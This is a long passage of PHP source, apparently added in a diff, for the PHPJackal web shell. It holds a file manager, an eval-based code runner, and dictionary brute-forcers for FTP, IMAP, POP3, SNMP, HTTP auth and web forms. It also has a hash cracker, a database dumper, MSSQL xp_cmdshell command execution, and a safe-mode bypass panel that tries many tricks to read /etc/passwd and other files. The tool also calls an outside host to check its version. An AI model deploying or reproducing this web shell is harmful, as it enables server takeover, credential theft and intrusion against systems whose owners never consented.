                            '; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date('Y/m/d H:i:s',filemtime($dn)); +$adate=date('Y/m/d H:i:s',fileatime($dn)); +$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open$own$mdate$adate";echo "";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '------$diraction"; +echo '
                            '; +$own='Unknow'; +$owner=posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open$own$mdate$adate";echo "";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "$size$fileaction"; +echo '
                            '; +$size=showsizE(filesize($ln)); +echo ' '; +if(strlen($ln)>29)echo substr($ln,26).'...';else echo $ln;echo '$own$mdate$adate";echo "L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "$size$linkaction"; +echo '
                            Directory summery:Total:'.$total.' Directories:'.$dc.' Files:'.$fc.' Links:'.$lc.' Permission:'; +if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ; +echo '
                            Find:
                            Regular expressions'.$hcwd.'
                            '.$hcwd.'

                            + + + + + + +
                            New: Upload:
                            +
                            '.$hcwd.'
                            Note: Max allowed file size to upload on this server is '.$min.'
                            '; +} +function imapchecK($host,$username,$password,$timeout){ +$sock=fsockopen($host,143,$n,$s,$timeout); +$b=uniqid('NJ'); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +fclose($sock); +if($res=="$b OK")return 1;else return 0; +} +function ftpchecK($host,$username,$password,$timeout){ +$ftp=ftp_connect($host,21,$timeout); +if(!$ftp)return -1; +$con=ftp_login($ftp,$username,$password); +if($con)return 1;else return 0; +} +function pop3checK($server,$user,$pass,$timeout){ +$sock=fsockopen($server,110,$en,$es,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function formcrackeR(){ +global $hcwd; +if(!empty($_REQUEST['start'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if(!file_exists($dic)){echo "Can not open dictionary."; return;} +$dictionary=fopen($dic,'r'); +echo 'Cracking started...
                            '; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if(!$res){echo "U: $user P: $pass
                            ";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;} +} +fclose($dictionary); +echo 'Done!

                            '; +} +else echo '
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            +
                              +
                            • +
                            • +
                            +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            +
                            '; +} +function hashcrackeR(){ +global $hcwd; +if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo 'Cracking '.htmlspecialchars($hash).'...
                            '; +$type=$_REQUEST['type']; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if($type=='ntlm'){ +$word=iconv('UTF-8','UTF-16LE',$word); +$type='md4'; +} +if($hash==strtoupper((hash($type,$word)))){echo "The answer is $word
                            ";if($log)file_add_contentS($file,"$x\r\n");break;} +} +echo 'Done!
                            '; +fclose($dictionary); +} +else{ +echo "Can not open dictionary."; +} +} +echo ' +
                            '.$hcwd.'
                            '; +} +function pr0xy(){ +global $hcwd; +echo '

                            '.$hcwd.'
                            '; +if(!empty($_REQUEST['urL'])){ +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$dir=dirname($file); +$con=getiT($_REQUEST['urL']); +$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/")); +$con=replace_stR($s,$con); +echo $con; +} +} +function sqlclienT(){ +global $hcwd; +echo '

                            '; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$res=querY($type,$server,$user,$pass,$db,$query); +if($res){ +$res=str_replace('|-|-|-|-|-|','',$res); +$res=str_replace('|+|+|+|+|+|','',$res); +$r=explode('[+][+][+]',$res); +$r[1]=str_replace('[-][-][-]',"",$r[1]); +echo '
                            '.$r[1].'
                            '.$r[0]."

                            "; +} +else{ +echo "Failed!
                            "; +} +} +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo ' +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            '. +$hcwd.' +
                            + +
                            '; +} +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i

                            '; +if(!empty($_REQUEST['code'])){ +echo '
                            ';
                            +$s=array(''',''',''','?>'=>''); echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code']))).'
                            +
                            ';}echo '
                            + +
                            '.$hcwd.'
                            '; +} +function toolS(){ +global $hcwd,$cwd; +echo '

                            '; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){ +$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5); +fputs($ser,$_REQUEST['domaiN']."\r\n"); +echo '
                            ';
                            +while(!feof($ser))echo fgets($ser,1024);
                            +echo '
                            '; +fclose($ser); +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['ouT'])){ +$Link=mysql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +$DB=$_REQUEST['dB']; +$Dump="/* +Dump generated by PHPJackal +Website: http://h.ackerz.com +*/ + + +DROP DATABASE IF EXISTS `$DB`; +CREATE DATABASE `$DB`; + +"; +mysql_select_db($DB,$Link); +$result=mysql_query("SHOW TABLES",$Link); +$table=array(); +while($data=mysql_fetch_row($result)) $table[]=$data[0]; +foreach($table as $t){ +$Dump.= "DROP TABLE IF EXISTS `$t`; +"; +$result=mysql_query("SHOW CREATE TABLE `$t`",$Link); +while($data=mysql_fetch_row($result)){ +$Dump.= $data[1].";\n\n"; +} +$sql="select * from `$t`;"; +$result=mysql_query($sql); +$num_rows= mysql_num_rows($result); +$num_fields= mysql_num_fields($result); +if( $num_rows> 0) { +$field_type=array(); +$i=0; +while( $i <$num_fields) +{ +$meta= mysql_fetch_field($result, $i); +array_push($field_type, $meta->type); +$i++; +} +$Dump.= "INSERT INTO `$t` VALUES"; +$index=0; +while( $row= mysql_fetch_row($result)) +{ +$Dump.= "("; +for( $i=0; $i <$num_fields; $i++) +{ +if( is_null( $row[$i])) +$Dump.= "null"; +else +{ +switch( $field_type[$i]) +{ +case 'int': +$Dump.= $row[$i]; +break; +case 'string': +case 'blob' : +default: +$Dump.= "'".mysql_real_escape_string($row[$i])."'"; +} +} +if( $i <$num_fields-1) +$Dump.= ","; +} +$Dump.= ")"; +if( $index <$num_rows-1) +$Dump.= ","; +else +$Dump.= ";"; +$Dump.= "\n"; +$index++; +} +} +} +file_put_contents($_REQUEST['ouT'],$Dump); +echo "Done! [Download]
                            "; +} +elseif(!empty($_REQUEST['urL'])){ +$h=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$ser=fsockopen($host,$port,$en,$es,5); +if($ser){ +fputs($ser,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +echo '
                            ';
                            +while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
                            +echo '
                            '; +fclose($ser); +} +} +elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){ +$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd'; +$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess'; +file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES)); +file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n"); +echo 'Done'; +} +echo ' +
                            + +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.'
                            + +

                            +
                            + +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            '.$hcwd.'
                            + +
                            +
                            +
                            + +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            '.$hcwd.'
                            + +
                            +
                            +
                            + +
                            +
                            + +
                            + +
                            +
                            ' +.$hcwd.'
                            + +
                            ';} +function hexvieW(){ +if(!empty($_REQUEST['filE'])){ +$f=$_REQUEST['filE']; +echo ""; +$file=fopen($f,'r'); +$i=-1; +while(!feof($file)){ +$ln=''; +$i++; +echo "'; +echo "'; +} +} +fclose($file); +echo '
                            OffsetHexASCII
                            ";echo str_repeat('0',(8-strlen(dechex($i*16)))).dechex($i*16);echo '"; +for($j=0;$j<=7;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo ""; +for($j=7;$j<=14;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo ""; +$n=0;$asc='';$co=0; +for($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if(($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.=chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo '
                            '; +} +function safemodE(){ +global $windows,$hcwd; +$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file']; +$pr="\r\n
                            Method "; +$po=")\r\n"; +$i=1; +echo '

                            '; +if(!empty($_REQUEST['read'])){ +echo "
                            $pr$i:(ini_restore$po";
                            +ini_restore('safe_mode');ini_restore('open_basedir');
                            +readfile($file);
                            +$i++;
                            +echo "$pr$i:(include$po";
                            +include($file);
                            +$i++;
                            +echo "$pr$i:(copy$po";
                            +$tmp=tempnam('','cx');
                            +copy('compress.zlib://'.$file,$tmp);
                            +$fh=fopen($tmp,'r');
                            +$data=fread($fh,filesize($tmp));
                            +fclose($fh);
                            +echo $data;
                            +$i++;
                            +if(function_exists('mb_send_mail')){
                            +echo "$pr$i:(mb_send_mail$po";
                            +if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
                            +mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
                            +readfile('/tmp/mb_send_mail');
                            +$i++;
                            +}
                            +if(function_exists('curl_init')){
                            +echo "$pr$i:(curl_init [A]$po";
                            +$fh=curl_init('file://'.$file.'');
                            +$tmp=curl_exec($fh);
                            +echo $tmp;
                            +$i++;
                            +echo "$pr$i:(curl_init [B]$po";
                            +$i++;
                            +if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
                            +else $ch=curl_init('file://'.$file."\x00".__FILE__);
                            +var_dump(curl_exec($ch));
                            +}
                            +if(is_writable('.')){
                            +echo "$pr$i:(php.ini$po";
                            +file_put_contents('php.ini','safe_mode = Off');
                            +readfile($file);
                            +unlink('php.ini');
                            +$i++;
                            +}
                            +if(extension_loaded('perl')){
                            +echo "$pr$i:(perl$po";
                            +echo perlshelL("type \"$file\"");
                            +$i++;
                            +}
                            +if(is_object($ws=new COM('WScript.Shell'))){
                            +echo "$pr$i:(COM$po";
                            +echo comshelL("type \"$file\"",$ws);
                            +$i++;
                            +}
                            +if(extension_loaded('ffi') && $windows){
                            +echo "$pr$i:(FFI$po";
                            +echo ffishelL("type \"$file\"");
                            +$i++;
                            +}
                            +if(checkfunctioN('win_shell_execute')){
                            +echo "$pr$i:(win32std$po";
                            +echo winshelL("type \"$file\"");
                            +$i++;
                            +}
                            +if(checkfunctioN('win32_create_service')){
                            +echo "$pr$i:(win32service$po";
                            +echo srvshelL("type \"$file\"");
                            +$i++;
                            +}
                            +if(function_exists('imap_open')){
                            +echo "$pr$i:(imap [A]$po";
                            +$str=imap_open('/etc/passwd','','');
                            +$list=imap_list($str,$file,'*');
                            +for($i=0;$i";
                            +}
                            +elseif(!empty($_REQUEST['show'])){
                            +echo "
                            $pr$i:(glob$po";
                            +$con=glob("$file*");
                            +foreach ($con as $v)echo "$v\n";
                            +$i++;
                            +if(function_exists('imap_open')){
                            +echo "$pr$i:(imap$po";
                            +$str=imap_open('/etc/passwd','','');
                            +$s=explode("|",$file);
                            +if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
                            +for($i=0;$i";
                            +}
                            +elseif(!empty($_REQUEST['sql'])){
                            +$ta=uniqid('N');
                            +$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
                            +$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
                            +mysql_select_db($_REQUEST['db'],$l);
                            +echo '
                            ';
                            +foreach($s as $v){
                            +$q = mysql_query($v,$l);
                            +while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
                            +}
                            +echo '
                            '; +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){ +$res=''; +$tb=uniqid('NJ'); +$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +mssql_select_db($_REQUEST['dB'],$db); +mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db); +mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db); +$re=mssql_query("select * from $tb",$db); +while(($row=mssql_fetch_row($re))) +{ +$res.= $row[0]."\r\n"; +} +mssql_query("drop table $tb",$db); +mssql_close($db); +echo "

                            "; +} +$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd'; +$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root'; +$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456'; +$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test'; +echo ' +
                            +
                            + +
                            + +
                            + +
                            +
                            '.$hcwd.'
                            + +
                            +
                            + +
                            +
                            +
                            +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            '.$hcwd.' +
                            + +
                            +
                            +
                            +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            '.$hcwd.' +
                            + +
                            +
                            +'; +} +function crackeR(){ +global $hcwd,$cwd; +echo '

                            '; +$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0; +if(!empty($_REQUEST['cracK']) && !$check){ +$c=htmlspecialchars($_REQUEST['cracK']); +echo '
                            +
                            + +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            +
                            '; +} +elseif(!empty($_REQUEST['cracK']) && $check){ +$pro=strtolower($_REQUEST['cracK']).'checK'; +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +if($dictionary){ +echo 'Cracking '.htmlspecialchars($target).'...
                            '; +if(!$type)$pl=file($_REQUEST['passlst']); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "Can not connect to server.";break;}elseif($ret){$x="U: $user P: $pass";echo "$x
                            ";if($log)file_add_contentS($file,"$x\r\n");} +}else{ +$user=trim(fgets($dictionary)," \n\r"); +foreach ($pl as $pass){ +$pass=trim($pass); +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "Can not connect to server.";break 2;}elseif($ret){$x="U: $user P: $pass";echo "$x
                            ";break;if($log)file_add_contentS($file,"$x\r\n");} +} +} +} +echo '
                            Done
                            '; +fclose($dictionary); +} +else{ +echo "Can not open dictionary."; +} +} +else{ +echo ''; +} +} +function phpjackal(){ + global $VERSION,$cwd; + if(!empty($_REQUEST['chkveR'])){ + echo file_get_contents("http://h.ackerz.com/PHPJackal/chkver.php?v=$VERSION"); + }else + echo '

                            '; +} +function snmpcrackeR(){ +global $hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +echo 'Cracking '.htmlspecialchars($target).'...
                            '; +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res){echo "$com
                            ";if($log)file_add_contentS($file,"$com\r\n");} +} +echo '
                            Done
                            '; +fclose($dictionary); +} +else{ +echo "Can not open dictionary."; +} +}else +echo '
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            +
                            '; +} +function dicmakeR(){ +global $windows,$hcwd; +$combo=(empty($_REQUEST['combo']))?0:1; +if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min=$_REQUEST['min']; +$max=$_REQUEST['max']; +if($max<$min){echo"Bad input!";return;}; +$s=$w=''; +$out=$_REQUEST['output']; +$r=$_REQUEST['range']; +$dic=fopen($out,'w'); +if($r==1){ +for($s=pow(10,$min-1);$sDone
                            '; +} +elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if(!$input){ +if($windows)echo 'Unable to read from '.htmlspecialchars($_REQUEST['input'])."
                            "; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if($output){ +foreach($input as $in){ +$user=$in; +$user=trim(fgets($in)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo 'Done'; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if($output){ +while(!feof($input)){ +$user=trim(fgets($input)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo 'Done'; +} +else echo 'Unable to write data to '.htmlspecialchars($_REQUEST['input'])."
                            "; +} +}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo 'Done'; +}else{ +$temp=whereistmP().DIRECTORY_SEPARATOR; +echo '
                            +
                            +
                            +
                            +
                            +
                            Combo style output +
                            '.$hcwd.'

                            Combo style output
                            '.$hcwd.'
                            +

                            +
                            +
                            Combo style output
                            '.$hcwd.'

                            '; +} +} +function ftpclienT(){ +global $cwd,$hcwd; +echo '

                            '; +if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){ +$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT']; +$con=ftp_connect($_REQUEST['hosT'],21,10); +if($con){ +if(ftp_login($con,$user,$pass)){ +if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']); +if(!empty($_REQUEST['filE'])){ +$file=$_REQUEST['filE']; +$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII; +if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode); +elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode); +elseif(isset($_REQUEST['rM'])){ +ftp_rmdir($con,$file); +ftp_delete($con,$file); +} +elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file); +} +$pwd=ftp_pwd($con); +$dir=ftp_nlist($con,''); +$d=opendir($cwd); +echo "
                            $host";if(!empty($_SERVER['SERVER_ADDR']))echo $_SERVER['SERVER_ADDR'];else echo'127.0.0.1'; echo "
                            "; +foreach($dir as $n)echo "$n
                            "; +echo "
                            ";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir
                            "; echo "
                            Name:Binary
                            "; +}else echo "Wrong username or password!"; +}else echo "Can not connect to server!"; +} +else{ +echo ' +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            '; +} +} +function calC(){ +global $hcwd; +echo '

                            '; +$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev'); +if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +$to=$_REQUEST['to']; +echo '
                            '; +echo '
                            + +
                            '; +} +echo ' + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            '.$hcwd.' +
                            + +
                            +
                            '; +} +function stegn0(){ + global $hcwd; + echo '

                            '; + if(!extension_loaded('gd')){ + echo "GD extension is not installed. You can't use this section without it."; + return; + } + if(!empty($_REQUEST['maskimagE']) && !empty($_REQUEST['hidefilE']) && !empty($_REQUEST['outfilE'])){ + echo stegfilE($_REQUEST['maskimagE'],$_REQUEST['hidefilE'],$_REQUEST['outfilE']); + }elseif (!empty($_REQUEST['revimagE'])){ + echo steg_recoveR(($_REQUEST['revimagE'])); + } + else echo ' +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            + +
                            +
                            +
                            + +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            +
                            '; +} +function authcrackeR(){ +global $hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if($method=='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo ''; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "Can not connect to host";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20'){echo "U: $user P: $pass
                            ";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");} +} +} +echo 'Done!
                            '; +}else echo ' +
                            +
                            + +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            +
                              +
                            • +
                            • +
                            +
                            +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            + +
                            + +
                            +
                            +'.$hcwd.' +
                            + +
                            +
                            '; +} +function openiT($name){ +$ext=end(explode('.',$name)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +$img=array('gif','jpg','jpeg','bmp','png','tif','ico'); +if(in_array($ext,$src))highlight_file($name); +elseif (in_array($ext,$img)){showimagE($name);return;} +else echo '
                            '.htmlspecialchars(file_get_contents($name)).'
                            '; +echo '
                            Back'; +} +function opensesS($name){ +$sess=file_get_contents($name); +$var=explode(';',$sess); +echo "
                            Name\tType\tValue\r\n";
                            +foreach($var as $v){
                            +$t=explode('|',$v);
                            +$c=explode(':',$t[1]);
                            +$y='';
                            +if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
                            +echo $t[0]."\t$y\t".$c[1]."\r\n";
                            +}
                            +echo '
                            '; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> + + + + +PHPJackal [<?php echo $cwd;?>] + + + +function chmoD($file){ +$ch=prompt("Changing file mode["+$file+"]: ex. 777",""); +if($ch != null)location.href="'. hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=').'"+$file+"&modE="+$ch; +} +'; +?> + + + +
                            +
                            + + +
                            +
